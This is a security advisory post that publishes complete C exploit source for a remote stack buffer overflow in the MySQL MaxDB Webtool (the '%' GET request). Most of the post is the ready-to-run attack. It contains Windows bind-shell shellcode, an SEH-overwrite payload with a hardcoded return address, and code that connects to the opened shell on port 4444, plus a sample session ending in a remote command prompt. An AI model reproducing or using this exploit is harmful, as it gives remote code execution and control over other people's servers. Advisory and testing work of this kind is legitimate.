[EXPL] MySQL MaxDB Webtool Buffer Overflow Exploit (%)

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Date: 27 Apr 2005 19:14:42 +0200

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  MySQL MaxDB Webtool Buffer Overflow Exploit (%)
------------------------------------------------------------------------

SUMMARY

As we reported in our previous article:
<http://www.securiteam.com/unixfocus/5JP0O1PFFO.html> MySQL MaxDB Webtool
Buffer Overflow Vulnerability (%, WebDAV, Lock-Token), a vulnerability in
MySQL MaxDB allows remote attackers to overflow an internal buffer and
cause it to execute arbitrary code. The following exploit code can be used
to test your system for the mentioned vulnerability.

DETAILS

Exploit:
/*
* MySQL MaxDB Webtool Remote Stack Overflow Exploit
*
* cybertronic[at]gmx[dot]net
*
* 04/27/2005
* __ __ _
* _______ __/ /_ ___ _____/ /__________ ____ (_)____
* / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
* / /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__
* \___/\__, /_.___/\___/_/ \__/_/ \____/_/ /_/_/\___/
* /____/
*
* --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
* --[ select target
* --[ 0 [0x100163d2] esi ebp ret
* --[ 1 [0xdeadc0de] crash server
* >> 0
* --[ connecting to 192.168.2.103:9999...done!
* --[ sending packet [ 16383 bytes ]...done!
* --[ sleeping 5 seconds before connecting to 192.168.2.103:4444...
* --[ connecting to 192.168.2.103:4444...done!
* --[ b0x pwned - h4ve phun
* Microsoft Windows XP [Version 5.1.2600]
* (C) Copyright 1985-2001 Microsoft Corp.
*
* C:\WINDOWS\system32>
*
*/

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 9999

#define RED "\E[31m\E[1m"
#define GREEN "\E[32m\E[1m"
#define YELLOW "\E[33m\E[1m"
#define BLUE "\E[34m\E[1m"
#define NORMAL "\E[m"

/*
*
* prototypes
*
*/

int exploit ( int s, unsigned long ret );
int isip ( char *ip );
int shell ( int s, char* tip, unsigned short cbport );

void connect_to_bindshell ( char* tip, unsigned short bport );
void header ();
void wait ( int sec );

/*********************
* Windows Shellcode *
*********************/

/* win32_bind */
unsigned char bindshell[] =
"\x31\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x92"
"\x35\x88\x95\x83\xeb\xfc\xe2\xf4\x6e\x5f\x63\xda\x7a\xcc\x77\x6a"
"\x6d\x55\x03\xf9\xb6\x11\x03\xd0\xae\xbe\xf4\x90\xea\x34\x67\x1e"
"\xdd\x2d\x03\xca\xb2\x34\x63\x76\xa2\x7c\x03\xa1\x19\x34\x66\xa4"
"\x52\xac\x24\x11\x52\x41\x8f\x54\x58\x38\x89\x57\x79\xc1\xb3\xc1"
"\xb6\x1d\xfd\x76\x19\x6a\xac\x94\x79\x53\x03\x99\xd9\xbe\xd7\x89"
"\x93\xde\x8b\xb9\x19\xbc\xe4\xb1\x8e\x54\x4b\xa4\x52\x51\x03\xd5"
"\xa2\xbe\xc8\x99\x19\x45\x94\x38\x19\x75\x80\xcb\xfa\xbb\xc6\x9b"
"\x7e\x65\x77\x43\xa3\xee\xee\xc6\xf4\x5d\xbb\xa7\xfa\x42\xfb\xa7"
"\xcd\x61\x77\x45\xfa\xfe\x65\x69\xa9\x65\x77\x43\xcd\xbc\x6d\xf3"
"\x13\xd8\x80\x97\xc7\x5f\x8a\x6a\x42\x5d\x51\x9c\x67\x98\xdf\x6a"
"\x44\x66\xdb\xc6\xc1\x66\xcb\xc6\xd1\x66\x77\x45\xf4\x5d\x99\xc9"
"\xf4\x66\x01\x74\x07\x5d\x2c\x8f\xe2\xf2\xdf\x6a\x44\x5f\x98\xc4"
"\xc7\xca\x58\xfd\x36\x98\xa6\x7c\xc5\xca\x5e\xc6\xc7\xca\x58\xfd"
"\x77\x7c\x0e\xdc\xc5\xca\x5e\xc5\xc6\x61\xdd\x6a\x42\xa6\xe0\x72"
"\xeb\xf3\xf1\xc2\x6d\xe3\xdd\x6a\x42\x53\xe2\xf1\xf4\x5d\xeb\xf8"
"\x1b\xd0\xe2\xc5\xcb\x1c\x44\x1c\x75\x5f\xcc\x1c\x70\x04\x48\x66"
"\x38\xcb\xca\xb8\x6c\x77\xa4\x06\x1f\x4f\xb0\x3e\x39\x9e\xe0\xe7"
"\x6c\x86\x9e\x6a\xe7\x71\x77\x43\xc9\x62\xda\xc4\xc3\x64\xe2\x94"
"\xc3\x64\xdd\xc4\x6d\xe5\xe0\x38\x4b\x30\x46\xc6\x6d\xe3\xe2\x6a"
"\x6d\x02\x77\x45\x19\x62\x74\x16\x56\x51\x77\x43\xc0\xca\x58\xfd"
"\x62\xbf\x8c\xca\xc1\xca\x5e\x6a\x42\x35\x88\x95";

unsigned char jmp1[] =
"\xeb\x08";

unsigned char jmp2[] =
"\xe9\xe2\xf7\xff\xff"; //jmp -2078

/*
*
* structures
*
*/

struct targets {
int num;
unsigned long ret;
char name[64];
}

target[]= {
{ 0, 0x100163d2, "WinXP Pro SP1 GER" },
//tested working on my WinXP Pro SP1 box [ pop pop ret in wapi.dll ]
{ 1, 0xdeadc0de, "crash server" },
};

/*
*
* functions
*
*/

int
exploit ( int s, unsigned long ret )
{
char buffer[16384];

bzero ( &buffer, sizeof ( buffer ) );
memset ( buffer, 0x90, sizeof ( buffer ) -13 );
strncpy ( buffer, "GET /%", 6 );
memcpy ( buffer + 1600, bindshell, sizeof ( bindshell ) - 1 );
memcpy ( buffer + 3657, jmp1, sizeof ( jmp1 ) -1 );
/*
*
* SEH offset changes for different binary path
* This exploits WinXP Pro SP1 GER asuming the
* default path of C:\Programme\sdb\programs\web\Documents
* englisch version is supported by metasploit
* http://www.metasploit.com/projects/Framework/modules
/exploits/maxdb_webdbm_get_overflow.pm
*
*/
strncpy ( buffer + 3661, ( unsigned char* ) &ret, 4 );
memcpy ( buffer + 3673, jmp2, sizeof ( jmp2 ) -1 );
strncat ( buffer, "HTTP/1.0\r\n\r\n", 12 );

printf ( "--[ sending packet [ %u bytes ]...", strlen ( buffer ) );
if ( write ( s, buffer, strlen ( buffer ) ) <= 0 )
{
printf ( RED "failed!\n" NORMAL);
return ( 1 );
}
printf ( YELLOW "done!\n" NORMAL);

return ( 0 );
}

int
isip ( char *ip )
{
int a, b, c, d;

if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ) )
return ( 0 );
if ( a < 1 )
return ( 0 );
if ( a > 255 )
return 0;
if ( b < 0 )
return 0;
if ( b > 255 )
return 0;
if ( c < 0 )
return 0;
if ( c > 255 )
return 0;
if ( d < 0 )
return 0;
if ( d > 255 )
return 0;
return 1;
}

int
shell ( int s, char* tip, unsigned short cbport )
{
int n;
char buffer[2048];
fd_set fd_read;

printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w"
NORMAL "n"
YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW
"e "
NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" );

FD_ZERO ( &fd_read );
FD_SET ( s, &fd_read );
FD_SET ( 0, &fd_read );

while ( 1 )
{
FD_SET ( s, &fd_read );
FD_SET ( 0, &fd_read );

if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
break;
if ( FD_ISSET ( s, &fd_read ) )
{
if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
if ( write ( 1, buffer, n ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
}
if ( FD_ISSET ( 0, &fd_read ) )
{
if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
if ( send ( s, buffer, n, 0 ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
}
usleep(10);
}
}

void
connect_to_bindshell ( char* tip, unsigned short bport )
{
int s;
int sec = 5; // change this for fast targets
struct sockaddr_in remote_addr;
struct hostent *host_addr;

if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
{
fprintf ( stderr, "cannot resolve \"%s\"\n", tip );
exit ( 1 );
}

remote_addr.sin_family = AF_INET;
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
remote_addr.sin_port = htons ( bport );

if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
printf ("--[ sleeping %d seconds before connecting to %s:%u...\n", sec,
tip, bport );
wait ( sec );
printf ( "--[ connecting to %s:%u...", tip, bport );
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct
sockaddr ) ) == -1 )
{
printf ( RED "failed!\n" NORMAL);
exit ( 1 );
}
printf ( YELLOW "done!\n" NORMAL);
shell ( s, tip, bport );
}

void
header ()
{
printf ( " __ __ _ \n" );
printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____ \n" );
printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/
\n" );
printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ \n" );
printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/ /_/_/\\___/ \n" );
printf ( " /____/ \n\n" );
printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" );
}

void
wait ( int sec )
{
sleep ( sec );
}

int
main ( int argc, char* argv[] )
{
int s, targ, i;
struct sockaddr_in remote_addr;
struct hostent* host_addr;

if ( argc != 2 )
{
printf ( "Usage: %s <ip>\n", argv[0] );
exit ( 1 );
}
system ( "clear" );
header ();
if ( !isip ( argv[1] ) )
{
printf ( "Invalid Target IP!\n" );
exit ( 1 );
}
printf("--[ select target\n");
for ( i = 0; i < 2; i++ )
printf ( "--[ %d [0x%08x] %s\n", target[i].num, target[i].ret,
target[i].name );
printf ( " >> " );
scanf ( "%d", &targ );
if ( targ != 0 )
if ( targ != 1 )
{
printf ( "--[ invalid target!\n" );
exit ( 1 );
}
if ( ( host_addr = gethostbyname ( argv[1] ) ) == NULL )
{
fprintf ( stderr, "cannot resolve \"%s\"\n", argv[1] );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
remote_addr.sin_port = htons ( PORT );

if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
printf ( "--[ connecting to %s:%u...", argv[1], PORT );
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct
sockaddr ) ) == -1 )
{
printf ( "failed!\n" );
exit ( 1 );
}
printf ( "done!\n" );
if ( exploit ( s, target[targ].ret ) == 1 )
{
printf ( "exploitation FAILED!\n" );
exit ( 1 );
}
close ( s );
connect_to_bindshell ( argv[1], 4444 );
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:cybertronic@gmx.net>
cybertronic.

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